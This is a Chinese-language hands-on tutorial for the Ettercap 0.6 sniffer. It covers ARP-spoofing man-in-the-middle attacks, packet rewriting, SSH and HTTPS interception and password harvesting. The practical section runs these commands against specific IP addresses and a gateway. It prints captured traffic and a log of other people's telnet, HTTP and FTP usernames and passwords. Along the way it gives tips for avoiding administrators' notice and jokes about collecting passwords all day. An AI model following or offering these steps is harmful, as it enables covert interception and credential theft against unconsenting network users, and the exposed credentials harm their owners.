一:安裝
你可以在網上很多地方下載到它的最新版本,比如http://ettercap.sourceforge.net 下載完後,先解壓縮:
[root@CIEL root]#tar zxpvf ettercap-0.6.tar.gz
[root@CIEL root]#cd ettercap-0.6
[root@CIEL ettercap-0.6]#./configure&&make&&make install
[root@CIEL ettercap-0.6]#make plug-ins
[root@CIEL ettercap-0.6]#make plug-ins_install
安裝完成後,輸入"ettercap --help"就可以看見幫助文檔.基本用法是
ettercap [option] [host:port] [host:port] [mac] [mac]
二:功能介紹
嗅探:它有5種工作模式
-a --arpsniff 基於arp的欺騙,分3小種:arpbased,smartcarp和publicarp
-s --sniff 屬於IPBASED,目標可以是任何主機
-m --macsniff 屬於MACBASED
需要說明的是-s -m兩選項帶來的是傳統嗅探模式,分別基於IP位址和MAC地址.也就是說它們必需先把網卡置於混雜,然後才可以正常工作。所以在交換環境下,這兩項會完全失效,-a選項是基於ARP欺騙的,是一種中間人攻擊模型。實質是利用了ARP協定的漏洞,攻擊者分別欺騙了A和B機。讓A機把數據傳給嗅探者,然後再由嗅探機器把數據轉發給B機,A和B卻沒有意識到數據包的中轉過程,這樣我們就可以劫獲數據甚至修改數據包.
下面分別介紹五種用法:
1:ettercap -Nza ip1 ip2 mac1 mac2 (arpbased) 劫獲IP1與IP2間的數據.預設狀態下
只接收TCP數據包
2: ettercap -Na ip mac (smartcarp) 劫獲此ip與外部所有通訊數據,這種方式比較劇烈,啟動時採用的是ARP風暴,很容易被發現.如果別人在用TCPDUMP監聽,就會看見攻擊者發出的無數的ARP請求,再傻的管理員都明白什麼事情發生了.不過由於修改了指定主機的ARP表中關於被監聽主機的MAC地址,還修改了被監聽主機中的那些指定主機的MAC地址,處在完全的中間人工作狀態,這時候你可以作的事情多些,比如更改數據包,截取SSH口令.
3:ettercap -Nza ip mac (publicarp) 同上,不同點在於傳送ARP請求的方式,上面採用的是ARP廣播,這裡只是對特定主機傳送ARP請求.這樣,不易引起管理員的懷疑.不過也帶來了問題,被監聽者自己也會收到這個以廣播方式傳送的ARP回響包,於是便會彈出"檢測到IP位址於硬體地址衝突"之類的警告.不過不會影響目標主機正常通信,還有一點就是發往被監聽主機的數據包會送給監聽者,而監聽者發出的數據包卻被直接送往真正的目的主機,沒有經過監聽者的主機.所以我們只能截取不完全的通信內容.
4:ettercap -NZS IP:80 (ipbased sniffing) 基於IP位址的嗅探。這裡僅劫獲目標機器HTTP訊息,你也可以指定其他連線埠,比如23 。如果沒有指定,所有都會被截取
5:ettercap -zm mac1 mac 2 (macbased) 基於MAC的嗅探.只要輸入MAC地址
需要說明的是,4,5兩種方式只適合於共享網路,在交換網路下一概無效.MAC地址的獲取很簡單,直接在終端輸入“ettercap -l"就會列出所有線上主機。或者你先PING一下某個IP,不管有沒有回應(沒有回應可能是對方開了防火牆),再用ARP命令就可以獲取其MAC地址。如果無法獲取,則此IP不存在 ,這也是探測防火牆後的主機是否線上的一個好方法。
包過濾:由於網路流量實在很大,當你面對大量記錄數據時,你可能會感到手足無措,你想找到自己需要的數據無疑是一項艱巨的工作,這時侯,我們可以通過—F 選項載入自己的過濾規則,這樣,很多無用的數據就會被忽略,刪節。和注射字元一樣,我們進行包過濾時有必要的話也要注意到正確的TCP序列號和確認序列號等因素。一旦你載入了自己的過濾鏈,你就可以有目的的得到自己最需要的數據了。一條過濾規則看起來就象彙編程式一樣,當然,還是有差距的,用列陣形容可能更確切些。一條過濾規則大概如下:《協定,源連線埠,目標連線埠,承載數據》
一個空的搜尋字元串總可以成立,比如連線埠如果沒有指定,所有的都會被記錄下來。只要那些規則匹配,你的過濾鏈就可以工作了.
例如有如下數據流
packet 1: "var1=123&var2=400"
packet 2: "var1=124&var2=420"
packet 3: "var1=125&var2=460"
packet 4: "var1=126&var2=540"
packet 5: "var1=127&var2=700
......
......
我們可以寫如下規則
Search: "var1=[3*]"
Replace: "var1=000"
被過濾後的流就會如下
packet 1: "var1=000&var2=400"
packet 2: "var1=000&var2=420"
packet 3: "var1=000&var2=460"
packet 4: "var1=000&var2=540"
packet 5: "var1=000&var2=700"
如果“var1”後面沒有被指定,默認則“var1=000”
最後是關於ssh的嗅探:
由於傳輸數據被加密,我們必需自己掌握密鑰,具體實現方法如下:我們先截取伺服器的明碼密鑰,保存在一邊.自己再生成另一明碼密鑰,用來加密本機與客戶機通訊數據,收到客戶機數據後,自然可以解密,在用伺服器明碼密鑰加密,傳送給伺服器,如此一來,可以偷天換柱.
三:工作參數:
下面列出它的主要選項,雖然它本身有28個,不過限於篇幅,下面只列出一些常用的:
-N --simple 非互動方式,很常用的
-z --silent 靜模式(啟動時不是傳送ARP風暴)
-O --passive 被動模式嗅探
-b --broadping 廣播PING ,替代了ARPPING
-S --spoof 用IP1這地址傳送ARP請求獲取其他機器信息
-H --hosts 嗅探的目標主機的IP,可以是很多台
-n --netmask 掃描由輸入子網掩碼確定的子網
-v --version 檢查最新版本
-h --help 幫助文檔
組合選項 (一般和N綁定一齊執行)
-u --udp 嗅探UDP數據,預設是TCP
-p --plugin 運行指定名字的外掛程式
-l --list 列出所有線上主機ip和mac.實質就是傳送255個ARP請求,等待回音,如果你的子網掩碼是255.255.0.0,就會傳送255*255個請求,就是ARP風暴吧!
-C --colletc 僅蒐集用戶名和對應密碼 Eg:ettetcap -NCzs IP:port 它規則不是很嚴格,所以你IP或PORT不填也沒有關係
-c --check 檢察網路里有沒其他機器正在嗅探
-x --hexview 用16進制表達數據,這樣,如果你想自己創建一個包的話會比較方便.比如建個檔案寫上"\x01\x02\x00\x00\xFF\xFF\x00\ x02here the pass".注意:ettercap不僅可以嗅探包,也可以創建包的.所以你可以更改穿過你機器的任何一段數據
-L --logtofile 記錄所有數據到指定位置
-k --newcert 創建一個新的CERT檔案,用以進行HTTPS攻擊
-F --filter 從指定檔案列載入過濾規則
-f --fingerprint 指定主機的OS判別,採用的是nmap的資料庫,所以準確性得到保障,不過也有無法辨別的時候.
-t --linktype 判斷自己處在什麼樣的網路環境中,交換或是HUB
實戰篇
210.197.248.192是確定線上的主機,先判斷它作業系統
[root@CIEL root]# ettercap -Nf 218.197.248.192
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Fingerprinting 218.197.248.192...
Operating System:
Windows NT 5 Beta2 or Beta3
Windows Me or Windows 2000 RC1 through final release
MS Windows2000 Professional RC1/W2K Advance Server Beta3
Windows Millenium Edition v4.90.3000
現在小試牛刀,看看對方正在做什麼
[root@CIEL root]# ettercap -Nza 218.197.248.192 218.197.248.254 MAC1 MAC2
這裡218.197.248.254是網關。這樣,我們就是中間人了,它與外網所有數據都會在我們這裡流過。不過被嗅探機器的區域網路數據交換我們將看不到.下面是截取到的2段典型的HTTP互動數據,從第一段可以看出客戶正在看的網頁,腳本,瀏覽器語言以及客戶的作業系統等信息。從第2段可以看出主機的bannner等等,都是網站的基本資料
GET /pcedu/script/title_edu.js HTTP/1.1.
Accept: */*.
Referer: http://wwwb.pconline.com.cn/pcedu/soft/doc/nt/10308.htm.
Accept-Language: zh-cn.
Accept-Encoding: gzip, deflate.
If-Modified-Since: Mon, 09 Sep 2002 09:18:53 GMT.
If-None-Match: "6f67c-2d5-3d7c677d".
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt).
Host: wwwb.pconline.com.cn.
Connection: Keep-Alive.
HTTP/1.1 200 OK.
Date: Sat, 01 Mar 2003 08:25:37 GMT.
Server: Apache/1.3.20 (Unix) PHP/4.1.2 mod_ssl/2.8.4 openssl/0.9.6a.
X-Powered-By: PHP/4.1.2.
Keep-Alive: timeout=15, max=100.
Connection: Keep-Alive.
Transfer-Encoding: chunked.
Content-Type: text/html.
當然,它還可以記下很多網頁內容,全是HTML原始碼,你可以抓下來,用HTM後綴保存,再用瀏覽器打開,好了,你看到的是什麼,別人看到的就是什麼。不過它對中文支持不很好,所以別人看見的中文你將無法看到,另一個程式LCRZOEX就很不錯,在中文終端里,可以把所有中文網頁完整抓下來。
一般黑客最感興趣的無非是密碼了,比如下面的組合,h是幫助,它會提供幫助信息
[root@CIEL root]# ettercap -NCzs
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Resolving 1 hostnames...
Press 'h' for help...
Sniffing (IP based): ANY:0 ANY:0
TCP packets only... (default)
Collecting passwords...
[QQ] - quit
[lL] - log all trafic to file(s)
space - stop/cont sniffing
15:52:51 218.197.248.21:1027 61.114.4.41:23 telnet
USER: root
PASS: root
15:54:53 218.197.248.46:1041 61.135.132.99:80 http
USER:dalin
PASS:7895865
http://www.sohu.com/
16:13:14 218.197.248.192:2278 218.197.249.172:21 ftp
USER: CshjPASS: 123456如果你輸入lL,系統在/ROOT下會自動生成“20030301-Collected-passwords.log",裡面會記錄下所有能嗅探到的密碼,看來TELNET,HTTP,FTP密碼都不能逃過,這些記錄簡潔明了,在機器上掛一天,不知道可以記錄多少了:)